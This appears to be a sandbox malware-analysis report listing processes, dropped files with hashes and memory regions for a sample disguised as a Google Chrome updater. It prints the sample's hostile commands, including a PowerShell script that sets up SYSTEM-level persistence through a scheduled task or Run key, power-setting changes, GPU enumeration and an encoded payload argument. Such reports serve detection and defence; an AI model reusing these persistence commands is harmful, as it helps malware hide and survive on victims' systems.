- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#uzgegy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe tdkzljpehmtshjo2⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor4⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe liapudzdhfhganis GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1py/9uBWaVrEYk1NIc0Qezccu6d/kJPxD2LV5bbHMWxB2⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
7.2MB
MD5308507d6d4325d05f12d738b77156844
SHA1e19ccc9ffb93f06102e027a670160867d1839e23
SHA25621f395dcf62282b1d6bbd19d352af771979441a76c319f12a77f3c56537cb2b5
SHA5128c44b1cc1438bc087595f1e0889b2e098d387206006fef37fa7cbea8fd8c12334503481056c277fc0f2cf3a84f2d6156a1166bdf5a333f3da0e085f5d534db57
-
C:\Program Files\Google\Chrome\updater.exeFilesize
7.2MB
MD5308507d6d4325d05f12d738b77156844
SHA1e19ccc9ffb93f06102e027a670160867d1839e23
SHA25621f395dcf62282b1d6bbd19d352af771979441a76c319f12a77f3c56537cb2b5
SHA5128c44b1cc1438bc087595f1e0889b2e098d387206006fef37fa7cbea8fd8c12334503481056c277fc0f2cf3a84f2d6156a1166bdf5a333f3da0e085f5d534db57
-
C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5c2411387dd5f68d6efbc1f2c923656e3
SHA11e530ecb70ce18b498ae5d91f43a49d27da8d235
SHA256c9336bce63e3a0f9e358ef72b6745b57c3cc4453f5fcb91b7a269d7a002d0f14
SHA512733eb99761f309c9bbdcf466001b2af33c5eb8333a0df0a44acfb6a85b66acf06e18df8f95944c1799dea0657552a103a57b13c9150d160b41a19d6594f9a1a5
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
C:\Windows\system32\drivers\etc\hostsFilesize
2KB
MD5dd28f95feb69efff424a9debeaf1ffb7
SHA13a54e000cdb894872d45d3ce901f54c1a133ce6f
SHA256155722ac7a44152d4ad008c19131cb9c924910db7efec657a13f485e84ceab2a
SHA5124a457742bee6748a689151649b227b37b3fc9bd7fee2a58f9fa1195398ead344ce067b8fbbb55d1820b6c13d38bef0b7f601f5e805a775e1f9a2dca6151f3640
-
memory/64-169-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/64-166-0x0000000000000000-mapping.dmp
-
memory/64-173-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/220-219-0x0000000000000000-mapping.dmp
-
memory/228-220-0x0000000000000000-mapping.dmp
-
memory/396-161-0x0000000000000000-mapping.dmp
-
memory/540-210-0x0000000000000000-mapping.dmp
-
memory/544-142-0x0000000000000000-mapping.dmp
-
memory/544-143-0x000002C2A1E40000-0x000002C2A1E62000-memory.dmpFilesize
136KB
-
memory/544-144-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/920-198-0x0000000000000000-mapping.dmp
-
memory/920-214-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/920-217-0x000002AA6F099000-0x000002AA6F09F000-memory.dmpFilesize
24KB
-
memory/920-216-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/968-157-0x0000000000000000-mapping.dmp
-
memory/1176-145-0x0000000000000000-mapping.dmp
-
memory/1528-149-0x0000000000000000-mapping.dmp
-
memory/1528-221-0x0000000000000000-mapping.dmp
-
memory/1560-207-0x0000000000000000-mapping.dmp
-
memory/1820-159-0x0000000000000000-mapping.dmp
-
memory/1908-206-0x0000000000000000-mapping.dmp
-
memory/1932-160-0x0000000000000000-mapping.dmp
-
memory/1948-190-0x000002263ECB0000-0x000002263ECCA000-memory.dmpFilesize
104KB
-
memory/1948-193-0x000002263ECA0000-0x000002263ECAA000-memory.dmpFilesize
40KB
-
memory/1948-192-0x000002263EC90000-0x000002263EC96000-memory.dmpFilesize
24KB
-
memory/1948-191-0x000002263EC60000-0x000002263EC68000-memory.dmpFilesize
32KB
-
memory/1948-184-0x0000000000000000-mapping.dmp
-
memory/1948-194-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/1948-189-0x000002263EC50000-0x000002263EC5A000-memory.dmpFilesize
40KB
-
memory/1948-188-0x000002263EC70000-0x000002263EC8C000-memory.dmpFilesize
112KB
-
memory/1948-187-0x000002263EA20000-0x000002263EA2A000-memory.dmpFilesize
40KB
-
memory/1948-186-0x000002263EA30000-0x000002263EA4C000-memory.dmpFilesize
112KB
-
memory/1948-185-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/1952-154-0x0000000000000000-mapping.dmp
-
memory/1972-204-0x0000000000000000-mapping.dmp
-
memory/1980-215-0x0000000000000000-mapping.dmp
-
memory/2224-202-0x0000000000000000-mapping.dmp
-
memory/2324-150-0x0000000000000000-mapping.dmp
-
memory/2360-201-0x0000000000000000-mapping.dmp
-
memory/2416-151-0x0000000000000000-mapping.dmp
-
memory/2632-171-0x0000000000000000-mapping.dmp
-
memory/2684-147-0x0000000000000000-mapping.dmp
-
memory/2684-163-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/2684-165-0x00007FFC9A2C0000-0x00007FFC9AD81000-memory.dmpFilesize
10.8MB
-
memory/2812-134-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-135-0x00007FFCB9430000-0x00007FFCB9625000-memory.dmpFilesize
2.0MB
-
memory/2812-138-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-168-0x00007FFCB9430000-0x00007FFCB9625000-memory.dmpFilesize
2.0MB
-
memory/2812-167-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-139-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-137-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-133-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-141-0x00007FFCB9430000-0x00007FFCB9625000-memory.dmpFilesize
2.0MB
-
memory/2812-140-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2812-136-0x00007FF68D450000-0x00007FF68E15B000-memory.dmpFilesize
13.0MB
-
memory/2884-195-0x0000000000000000-mapping.dmp
-
memory/3472-218-0x00007FF6F63914E0-mapping.dmp
-
memory/3620-213-0x0000000000000000-mapping.dmp
-
memory/3664-146-0x0000000000000000-mapping.dmp
-
memory/3772-208-0x0000000000000000-mapping.dmp
-
memory/3812-212-0x0000000000000000-mapping.dmp
-
memory/3868-205-0x0000000000000000-mapping.dmp
-
memory/3892-164-0x0000000000000000-mapping.dmp
-
memory/3980-203-0x0000000000000000-mapping.dmp
-
memory/3984-155-0x0000000000000000-mapping.dmp
-
memory/3992-209-0x0000000000000000-mapping.dmp
-
memory/4180-182-0x00007FFCB9430000-0x00007FFCB9625000-memory.dmpFilesize
2.0MB
-
memory/4180-225-0x00007FFCB9430000-0x00007FFCB9625000-memory.dmpFilesize
2.0MB
-
memory/4180-226-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-183-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-181-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-180-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-179-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-178-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-175-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4180-176-0x00007FFCB9430000-0x00007FFCB9625000-memory.dmpFilesize
2.0MB
-
memory/4180-174-0x00007FF724F60000-0x00007FF725C6B000-memory.dmpFilesize
13.0MB
-
memory/4348-152-0x0000000000000000-mapping.dmp
-
memory/4372-222-0x00007FF68B4C25D0-mapping.dmp
-
memory/4372-223-0x00007FF68ACD0000-0x00007FF68B4C4000-memory.dmpFilesize
8.0MB
-
memory/4372-224-0x000001C57BB90000-0x000001C57BBB0000-memory.dmpFilesize
128KB
-
memory/4372-229-0x00007FF68ACD0000-0x00007FF68B4C4000-memory.dmpFilesize
8.0MB
-
memory/4480-162-0x0000000000000000-mapping.dmp
-
memory/4520-156-0x0000000000000000-mapping.dmp
-
memory/4684-196-0x0000000000000000-mapping.dmp
-
memory/4784-158-0x0000000000000000-mapping.dmp
-
memory/4868-211-0x0000000000000000-mapping.dmp